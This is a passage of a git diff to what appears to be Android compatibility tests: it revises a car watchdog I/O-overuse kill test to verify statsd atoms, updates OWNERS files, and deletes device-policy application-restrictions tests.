-        startMainActivity(WATCHDOG_APP_PKG);
+    public void testIoOveruseKillAfterDisplayTurnOffWithSharedUserIdApp() throws Exception {
+        uploadStatsdConfig(WATCHDOG_APP_PKG);
 
-        long remainingBytes = readForegroundBytesFromActivityDump(WATCHDOG_APP_PKG);
-        sendBytesToKillApp(remainingBytes, WATCHDOG_APP_PKG);
+        for (int i = 0; i < RECURRING_OVERUSE_COUNT; ++i) {
+            overuseDiskIo(WATCHDOG_APP_PKG);
+            verifyAtomIoOveruseStatsReported(WATCHDOG_APP_PKG, /* overuseTimes= */ i + 1);
+            ReportUtils.clearReports(getDevice());
+        }
 
-        remainingBytes = readForegroundBytesFromActivityDump(WATCHDOG_APP_PKG);
-        assertWithMessage("Application exceeded I/O overuse threshold")
-                .that(remainingBytes).isEqualTo(0);
+        executeCommand(APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD);
 
         verifyTestAppKilled(WATCHDOG_APP_PKG);
+        verifyAtomKillStatsReported(WATCHDOG_APP_PKG);
+    }
+
+    private void uploadStatsdConfig(String packageName) throws Exception {
+        StatsdConfig.Builder config = ConfigUtils.createConfigBuilder("AID_SYSTEM");
+        ConfigUtils.addEventMetricForUidAtom(config,
+                Atom.CAR_WATCHDOG_IO_OVERUSE_STATS_REPORTED_FIELD_NUMBER,
+                /* uidInAttributionChain= */ false, packageName);
+        ConfigUtils.addEventMetricForUidAtom(config,
+                Atom.CAR_WATCHDOG_KILL_STATS_REPORTED_FIELD_NUMBER,
+                /* uidInAttributionChain= */ false, packageName);
+        ConfigUtils.uploadConfig(getDevice(), config);
+    }
+
+    private void verifyAtomIoOveruseStatsReported(String packageName, int overuseTimes)
+            throws Exception {
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertWithMessage("Reported I/O overuse event metrics data").that(data).hasSize(1);
+
+        CarWatchdogIoOveruseStatsReported atom =
+                data.get(0).getAtom().getCarWatchdogIoOveruseStatsReported();
+
+        int appUid = DeviceUtils.getAppUid(getDevice(), packageName);
+        assertWithMessage("UID in atom from " + overuseTimes + " overuse").that(atom.getUid())
+                .isEqualTo(appUid);
+        assertWithMessage("Atom has I/O overuse stats from " + overuseTimes + " overuse")
+                .that(atom.hasIoOveruseStats()).isTrue();
+        verifyAtomIoOveruseStats(atom.getIoOveruseStats(), overuseTimes * TWO_HUNDRED_MEGABYTES,
+                "I/O overuse stats atom from " + overuseTimes + " overuse");
+    }
+
+    private void verifyAtomKillStatsReported(String packageName)
+            throws Exception {
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertWithMessage("Reported kill event metrics data").that(data).hasSize(1);
+
+        CarWatchdogKillStatsReported atom =
+                data.get(0).getAtom().getCarWatchdogKillStatsReported();
+
+        int appUid = DeviceUtils.getAppUid(getDevice(), packageName);
+        assertWithMessage("UID in kill stats").that(atom.getUid()).isEqualTo(appUid);
+        assertWithMessage("Kill reason from kill stats").that(atom.getKillReason())
+                .isEqualTo(CarWatchdogKillStatsReported.KillReason.KILLED_ON_IO_OVERUSE);
+        assertWithMessage("System state from kill stats").that(atom.getSystemState())
+                .isEqualTo(CarWatchdogKillStatsReported.SystemState.USER_NO_INTERACTION_MODE);
+        assertWithMessage("Atom has I/O overuse stats from overuse kill")
+                .that(atom.hasIoOveruseStats()).isTrue();
+        verifyAtomIoOveruseStats(atom.getIoOveruseStats(),
+                RECURRING_OVERUSE_COUNT * TWO_HUNDRED_MEGABYTES,
+                "I/O overuse stats atom from overuse kill");
+    }
+
+    private void verifyAtomIoOveruseStats(CarWatchdogIoOveruseStats ioOveruseStats,
+            long foregroundWrittenBytes, String statsType) {
+        assertWithMessage(statsType + " has period").that(ioOveruseStats.hasPeriod()).isTrue();
+        assertWithMessage("Period in " + statsType).that(ioOveruseStats.getPeriod())
+                .isEqualTo(CarWatchdogIoOveruseStats.Period.DAILY);
+        assertWithMessage(statsType + " has threshold").that(ioOveruseStats.hasThreshold())
+                .isTrue();
+        assertWithMessage("Foreground threshold bytes in " + statsType)
+                .that(ioOveruseStats.getThreshold().getForegroundBytes())
+                .isEqualTo(TWO_HUNDRED_MEGABYTES);
+        assertWithMessage(statsType + " has written bytes").that(ioOveruseStats.hasWrittenBytes())
+                .isTrue();
+        // Watchdog daemon's polling/syncing interval and the disk I/O writes performed by the
+        // device side app are asynchronous. So, the actual number of bytes written by the app might
+        // be greater than the expected written bytes. Thus verify that the reported written bytes
+        // are in the range of 50MiB.
+        assertWithMessage("Foreground written bytes in " + statsType)
+                .that(ioOveruseStats.getWrittenBytes().getForegroundBytes())
+                .isAtLeast(foregroundWrittenBytes);
+        assertWithMessage("Foreground written bytes in " + statsType)
+                .that(ioOveruseStats.getWrittenBytes().getForegroundBytes())
+                .isAtMost(foregroundWrittenBytes + FIFTY_MEGABYTES);
+    }
+
+    private void overuseDiskIo(String packageName) throws Exception {
+        startMainActivity(packageName);
+
+        long remainingBytes = readForegroundBytesFromActivityDump(packageName);
+
+        sendBytesToKillApp(remainingBytes, packageName);
+
+        remainingBytes = readForegroundBytesFromActivityDump(packageName);
+
+        assertWithMessage("Application " + packageName + "'s remaining write bytes")
+                .that(remainingBytes).isEqualTo(0);
     }
 
     private long readForegroundBytesFromActivityDump(String packageName) throws Exception {
         AtomicReference<String> notification = new AtomicReference<>();
-        PollingCheck.check("Unable to receive notification", POLL_TIMEOUT_MS, () -> {
-            String dump = fetchActivityDumpsys(packageName);
-            if (dump.startsWith("INFO") && dump.contains("--Notification--")) {
-                notification.set(dump);
-                return true;
-            }
-            return false;
-        });
+        PollingCheck.check("No notification received in the activity dump",
+                WATCHDOG_ACTION_TIMEOUT_MS,
+                () -> {
+                    String dump = fetchActivityDumpsys(packageName);
+                    if (dump.startsWith("INFO") && dump.contains("--Notification--")) {
+                        notification.set(dump);
+                        return true;
+                    }
+                    return false;
+                });
 
         return parseForegroundBytesFromMessage(notification.get());
     }
@@ -161,11 +290,13 @@
     }
 
     private void verifyTestAppKilled(String packageName) throws Exception {
-        PollingCheck.check("Unable to kill application", POLL_TIMEOUT_MS, () -> {
-            // Check activity dump for errors. Throws exception on error.
-            fetchActivityDumpsys(packageName);
-            return !isPackageRunning(packageName);
-        });
+        PollingCheck.check("Failed to kill " + packageName + " application",
+                WATCHDOG_ACTION_TIMEOUT_MS,
+                () -> {
+                    // Check activity dump for errors. Throws exception on error.
+                    fetchActivityDumpsys(packageName);
+                    return !isPackageRunning(packageName);
+                });
     }
 
     private String fetchActivityDumpsys(String packageName) throws Exception {
@@ -188,8 +319,8 @@
         executeCommand("am start -W -a android.intent.action.MAIN -n %s/%s", packageName,
                 ACTIVITY_CLASS);
 
-        assertWithMessage("%s is running", packageName)
-                .that(isPackageRunning(packageName)).isTrue();
+        assertWithMessage("Is %s running?", packageName).that(isPackageRunning(packageName))
+                .isTrue();
     }
 
     private void sendBytesToKillApp(long remainingBytes, String appPkg) throws Exception {
diff --git a/hostsidetests/devicepolicy/OWNERS b/hostsidetests/devicepolicy/OWNERS
index b37176e..19b6194 100644
--- a/hostsidetests/devicepolicy/OWNERS
+++ b/hostsidetests/devicepolicy/OWNERS
@@ -1,7 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
index 9647f11..ad51a93 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 168445
-alexkershaw@google.com
-kholoudm@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
 pbdr@google.com
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
index 004ce9a..572b40b 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
@@ -24,12 +24,6 @@
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner"/>
-        <activity android:name="com.android.cts.delegate.DelegatedScopesReceiverActivity"
-             android:exported="true">
-        </activity>
-        <service android:name="com.android.cts.delegate.DelegatedScopesReceiverService"
-             android:exported="true">
-        </service>
         <receiver android:name=".DelegateTestUtils$DelegatedLogsReceiver"
              android:permission="android.permission.BIND_DEVICE_ADMIN"
              android:exported="true">
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
deleted file mode 100644
index 9c73feb..0000000
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
+++ /dev/null
@@ -1,170 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.delegate;
-
-import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
-
-import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Process;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.List;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test that an app given the {@link DevicePolicyManager#DELEGATION_APP_RESTRICTIONS} scope via
- * {@link DevicePolicyManager#setDelegatedScopes} can manage app restrictions.
- */
-public class AppRestrictionsDelegateTest extends BaseJUnit3TestCase  {
-
-    private static final String TAG = AppRestrictionsDelegateTest.class.getSimpleName();
-
-    private static final String APP_RESTRICTIONS_TARGET_PKG =
-            "com.android.cts.apprestrictions.targetapp";
-    private static final String APP_RESTRICTIONS_ACTIVITY_NAME =
-            APP_RESTRICTIONS_TARGET_PKG + ".ApplicationRestrictionsActivity";
-    private static final String ACTION_RESTRICTIONS_VALUE =
-            "com.android.cts.apprestrictions.targetapp.RESTRICTIONS_VALUE";
-
-    private static final Bundle BUNDLE_0 = createBundle0();
-    private static final Bundle BUNDLE_1 = createBundle1();
-
-    private static final long TIMEOUT_SECONDS = 10;
-
-    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            Log.d(TAG, "onReceive(): intent " + action + " on uid " + Process.myUid());
-            if (ACTION_RESTRICTIONS_VALUE.equals(action)) {
-                mReceivedRestrictions = intent.getBundleExtra("value");
-                mOnRestrictionsSemaphore.release();
-            }
-        }
-    };
-
-    private final Semaphore mOnRestrictionsSemaphore = new Semaphore(0);
-    private Bundle mReceivedRestrictions;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContext.registerReceiver(mReceiver, new IntentFilter(ACTION_RESTRICTIONS_VALUE));
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mContext.unregisterReceiver(mReceiver);
-        super.tearDown();
-    }
-
-    public void testCannotAccessApis() {
-        assertFalse("DelegateApp should not be an app restrictions delegate",
-                amIAppRestrictionsDelegate());
-
-        assertExpectException(SecurityException.class,
-                "Calling identity is not authorized", () -> {
-                    mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
-                });
-
-        assertExpectException(SecurityException.class,
-                "Calling identity is not authorized", () -> {
-                    mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
-                });
-    }
-
-    public void testCanAccessApis() throws InterruptedException {
-        assertTrue("DelegateApp is not an app restrictions delegate", amIAppRestrictionsDelegate());
-        try {
-            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_0);
-            assertBundle0(mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG));
-
-            // Check that the target app can retrieve the same restrictions.
-            assertBundle0(waitForChangedRestriction());
-
-            // Test overwriting
-            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_1);
-            assertBundle1(mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG));
-            assertBundle1(waitForChangedRestriction());
-        } finally {
-            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
-            assertTrue(
-                mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG).isEmpty());
-        }
-    }
-
-    // Should be consistent with assertBundle0
-    private static Bundle createBundle0() {
-        Bundle result = new Bundle();
-        result.putString("placeholderString", "value");
-        return result;
-    }
-
-    // Should be consistent with createBundle0
-    private void assertBundle0(Bundle bundle) {
-        assertEquals(1, bundle.size());
-        assertEquals("value", bundle.getString("placeholderString"));
-    }
-
-    // Should be consistent with assertBundle1
-    private static Bundle createBundle1() {
-        Bundle result = new Bundle();
-        result.putInt("placeholderInt", 1);
-        return result;
-    }
-
-    // Should be consistent with createBundle1
-    private void assertBundle1(Bundle bundle) {
-        assertEquals(1, bundle.size());
-        assertEquals(1, bundle.getInt("placeholderInt"));
-    }
-
-    private void startTestActivity() {
-        ComponentName component = new ComponentName(
-                APP_RESTRICTIONS_TARGET_PKG, APP_RESTRICTIONS_ACTIVITY_NAME);
-        Log.d(TAG, "Starting activity " + component.flattenToShortString() + " on user "
-                + Process.myUserHandle());
-        mContext.startActivity(new Intent()
-                .setComponent(component)
-                .putExtra("admin_type",
-                        InstrumentationRegistry.getArguments().getString("admin_type"))
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
-    }
-
-    private Bundle waitForChangedRestriction() throws InterruptedException {
-        startTestActivity();
-        assertTrue("App restrictions target app did not respond in time",
-                mOnRestrictionsSemaphore.tryAcquire(TIMEOUT_SECONDS, TimeUnit.SECONDS));
-        return mReceivedRestrictions;
-    }
-
-    private boolean amIAppRestrictionsDelegate() {
-        final List<String> scopes = mDpm.getDelegatedScopes(null, mContext.getPackageName());
-        return scopes.contains(DELEGATION_APP_RESTRICTIONS);
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
index 869ff7c..b93b884 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
@@ -16,7 +16,6 @@
 package com.android.cts.delegate;
 
 import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
 import android.os.Bundle;
 import android.test.MoreAsserts;
 import android.util.Log;
@@ -58,17 +57,4 @@
                     expected.getMessage());
         }
     }
-
-    public void testSettingAdminComponentNameThrowsException() {
-        final String myPackageName = getInstrumentation().getContext().getPackageName();
-        final ComponentName myComponentName = new ComponentName(myPackageName,
-                GeneralDelegateTest.class.getName());
-
-        try {
-            mDpm.setUninstallBlocked(myComponentName, myPackageName, true);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex("No active admin", expected.getMessage());
-        }
-    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
deleted file mode 100644
index 201aeed..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ApplicationRestrictionsTest.java
+++ /dev/null
@@ -1,338 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.os.Bundle;
-import android.os.Parcelable;
-import android.os.UserManager;
-import android.test.MoreAsserts;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Functionality tests for application restrictions APIs.
- *
- * <p>APIs are executed locally to assert that what you set can later be retrieved via the getter.
- * It also fires up an external activity to observe an application's view of its restrictions.
- *
- * <p>Finally, it checks that the {@link Intent#ACTION_APPLICATION_RESTRICTIONS_CHANGED} broadcast
- * is sent whenever app restrictions are modified for a given package.
- */
-public class ApplicationRestrictionsTest extends BaseDeviceAdminTest {
-
-    private static final String APP_RESTRICTIONS_TARGET_PKG =
-            "com.android.cts.apprestrictions.targetapp";
-    private static final String APP_RESTRICTIONS_ACTIVITY_NAME =
-            APP_RESTRICTIONS_TARGET_PKG + ".ApplicationRestrictionsActivity";
-    private static final String ACTION_RESTRICTIONS_VALUE =
-            "com.android.cts.apprestrictions.targetapp.RESTRICTIONS_VALUE";
-
-    private static final String OTHER_PACKAGE = APP_RESTRICTIONS_TARGET_PKG + "placeholder";
-
-    private static final String[] TEST_STRINGS = new String[] {
-            "<bad/>",
-            ">worse!\"£$%^&*()'<",
-            "<JSON>\"{ \\\"One\\\": { \\\"OneOne\\\": \\\"11\\\", \\\""
-                    + "OneTwo\\\": \\\"12\\\" }, \\\"Two\\\": \\\"2\\\" } <JSON/>\""
-    };
-
-    private static final Bundle BUNDLE_0 = createBundle0();
-    private static final Bundle BUNDLE_1 = createBundle1();
-
-    private static final long RESTRICTIONS_TIMEOUT_SECONDS = 10;
-
-    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            if (ACTION_RESTRICTIONS_VALUE.equals(action)) {
-                mReceivedRestrictions = intent.getBundleExtra("value");
-                mOnRestrictionsReceivedFromAppSemaphore.release();
-            } else if (Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED.equals(action)) {
-                mOnAppRestrictionsChangedSemahore.release();
-            }
-        }
-    };
-
-    private final Semaphore mOnAppRestrictionsChangedSemahore = new Semaphore(0);
-    private final Semaphore mOnRestrictionsReceivedFromAppSemaphore = new Semaphore(0);
-    private Bundle mReceivedRestrictions;
-    private UserManager mUserManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mUserManager = (UserManager) mContext.getSystemService(Context.USER_SERVICE);
-
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ACTION_RESTRICTIONS_VALUE);
-        filter.addAction(Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED);
-        mContext.registerReceiver(mReceiver, filter);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mContext.unregisterReceiver(mReceiver);
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE, new Bundle());
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, mContext.getPackageName(), new Bundle());
-
-        super.tearDown();
-    }
-
-    public void testNullComponentThrowsException() {
-        try {
-            mDevicePolicyManager.setApplicationRestrictions(
-                    null, APP_RESTRICTIONS_TARGET_PKG, null);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "Calling identity is not authorized",
-                    expected.getMessage());
-        }
-        try {
-            mDevicePolicyManager.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "Calling identity is not authorized",
-                    expected.getMessage());
-        }
-    }
-
-    public void testSetApplicationRestrictions() {
-        // Test setting restrictions
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_0);
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE, BUNDLE_1);
-
-        // Retrieve restrictions locally and make sure they are what we put in.
-        assertBundle0(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG));
-        assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE));
-
-        // Check that the target app can retrieve the same restrictions.
-        assertBundle0(waitForRestrictionsValueFromTestActivity());
-
-        // Test overwriting
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_1);
-        assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG));
-        assertBundle1(waitForRestrictionsValueFromTestActivity());
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
-        assertTrue(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG).isEmpty());
-        assertTrue(waitForRestrictionsValueFromTestActivity().isEmpty());
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE, null);
-        assertTrue(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, OTHER_PACKAGE).isEmpty());
-    }
-
-    public void testCanRetrieveOwnRestrictionsViaUserManager() {
-        final String packageName = mContext.getPackageName();
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, packageName, BUNDLE_0);
-        assertBundle0(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, packageName));
-
-        // Check that we got the restrictions changed callback.
-        assertBundle0(waitForRestrictionsChangedBroadcast());
-
-        mDevicePolicyManager.setApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, packageName, BUNDLE_1);
-        assertBundle1(mDevicePolicyManager.getApplicationRestrictions(
-                ADMIN_RECEIVER_COMPONENT, packageName));
-        assertBundle1(waitForRestrictionsChangedBroadcast());
-    }
-
-    public void testCannotRetrieveOtherPackageRestrictionsViaUserManager() {
-        try {
-            mUserManager.getApplicationRestrictions(OTHER_PACKAGE);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-        }
-    }
-
-    public void testSetApplicationRestrictionsManagingPackage() throws NameNotFoundException {
-        final String previousValue = mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                ADMIN_RECEIVER_COMPONENT);
-        try {
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT, APP_RESTRICTIONS_TARGET_PKG);
-            assertEquals(APP_RESTRICTIONS_TARGET_PKG,
-                    mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                            ADMIN_RECEIVER_COMPONENT));
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT, null);
-            assertNull(mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT));
-        } finally {
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT, previousValue);
-            assertEquals(previousValue,
-                    mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                            ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    public void testSetApplicationRestrictionsManagingPackageForNotInstalledPackage()
-            throws NameNotFoundException {
-        try {
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(ADMIN_RECEIVER_COMPONENT,
-                    OTHER_PACKAGE);
-            fail("Not throwing exception for not installed package name");
-        } catch (NameNotFoundException expected) {
-            MoreAsserts.assertContainsRegex(OTHER_PACKAGE, expected.getMessage());
-        } finally {
-            mDevicePolicyManager.setApplicationRestrictionsManagingPackage(ADMIN_RECEIVER_COMPONENT,
-                    null);
-            assertNull(mDevicePolicyManager.getApplicationRestrictionsManagingPackage(
-                    ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    // Should be consistent with assertBundle0
-    private static Bundle createBundle0() {
-        Bundle result = new Bundle();
-        // Tests for 6 allowed types: Integer, Boolean, String, String[], Bundle and Parcelable[]
-        // Also test for string escaping handling
-        result.putBoolean("boolean_0", false);
-        result.putBoolean("boolean_1", true);
-        result.putInt("integer", 0x7fffffff);
-        // If a null is stored, "" will be read back
-        result.putString("empty", "");
-        result.putString("string", "text");
-        result.putStringArray("string[]", TEST_STRINGS);
-
-        // Adding a bundle, which contain 2 nested restrictions - bundle_string and bundle_int
-        Bundle bundle = new Bundle();
-        bundle.putString("bundle_string", "bundle_string");
-        bundle.putInt("bundle_int", 1);
-        result.putBundle("bundle", bundle);
-
-        // Adding an array of 2 bundles
-        Bundle[] bundleArray = new Bundle[2];
-        bundleArray[0] = new Bundle();
-        bundleArray[0].putString("bundle_array_string", "bundle_array_string");
-        // Put bundle inside bundle
-        bundleArray[0].putBundle("bundle_array_bundle", bundle);
-        bundleArray[1] = new Bundle();
-        bundleArray[1].putString("bundle_array_string2", "bundle_array_string2");
-        result.putParcelableArray("bundle_array", bundleArray);
-        return result;
-    }
-
-    // Should be consistent with createBundle0
-    private void assertBundle0(Bundle bundle) {
-        assertEquals(8, bundle.size());
-        assertEquals(false, bundle.getBoolean("boolean_0"));
-        assertEquals(true, bundle.getBoolean("boolean_1"));
-        assertEquals(0x7fffffff, bundle.getInt("integer"));
-        assertEquals("", bundle.getString("empty"));
-        assertEquals("text", bundle.getString("string"));
-
-        String[] strings = bundle.getStringArray("string[]");
-        assertTrue(strings != null && strings.length == TEST_STRINGS.length);
-        for (int i = 0; i < strings.length; i++) {
-            assertEquals(strings[i], TEST_STRINGS[i]);
-        }
-
-        Bundle childBundle = bundle.getBundle("bundle");
-        assertEquals("bundle_string", childBundle.getString("bundle_string"));
-        assertEquals(1, childBundle.getInt("bundle_int"));
-
-        Parcelable[] bundleArray = bundle.getParcelableArray("bundle_array");
-        assertEquals(2, bundleArray.length);
-        // Verifying bundle_array[0]
-        Bundle bundle1 = (Bundle) bundleArray[0];
-        assertEquals("bundle_array_string", bundle1.getString("bundle_array_string"));
-        Bundle bundle1ChildBundle = bundle1.getBundle("bundle_array_bundle");
-        assertNotNull(bundle1ChildBundle);
-        assertEquals("bundle_string", bundle1ChildBundle.getString("bundle_string"));
-        assertEquals(1, bundle1ChildBundle.getInt("bundle_int"));
-        // Verifying bundle_array[1]
-        Bundle bundle2 = (Bundle) bundleArray[1];
-        assertEquals("bundle_array_string2", bundle2.getString("bundle_array_string2"));
-    }
-
-    // Should be consistent with assertBundle1
-    private static Bundle createBundle1() {
-        Bundle result = new Bundle();
-        result.putInt("placeholder", 1);
-        return result;
-    }
-
-    // Should be consistent with createBundle1
-    private void assertBundle1(Bundle bundle) {
-        assertEquals(1, bundle.size());
-        assertEquals(1, bundle.getInt("placeholder"));
-    }
-
-    private void startTestActivity() {
-        mContext.startActivity(new Intent()
-                .setComponent(new ComponentName(
-                        APP_RESTRICTIONS_TARGET_PKG, APP_RESTRICTIONS_ACTIVITY_NAME))
-                .putExtra("admin_type",
-                        InstrumentationRegistry.getArguments().getString("admin_type"))
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
-    }
-
-    private Bundle waitForRestrictionsValueFromTestActivity() {
-        startTestActivity();
-
-        try {
-            assertTrue(mOnRestrictionsReceivedFromAppSemaphore.tryAcquire(
-                    RESTRICTIONS_TIMEOUT_SECONDS, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            fail("waitForRestrictionsValueFromTestActivity() interrupted");
-        }
-
-        return mReceivedRestrictions;
-    }
-
-    private Bundle waitForRestrictionsChangedBroadcast() {
-        try {
-            assertTrue(mOnAppRestrictionsChangedSemahore.tryAcquire(
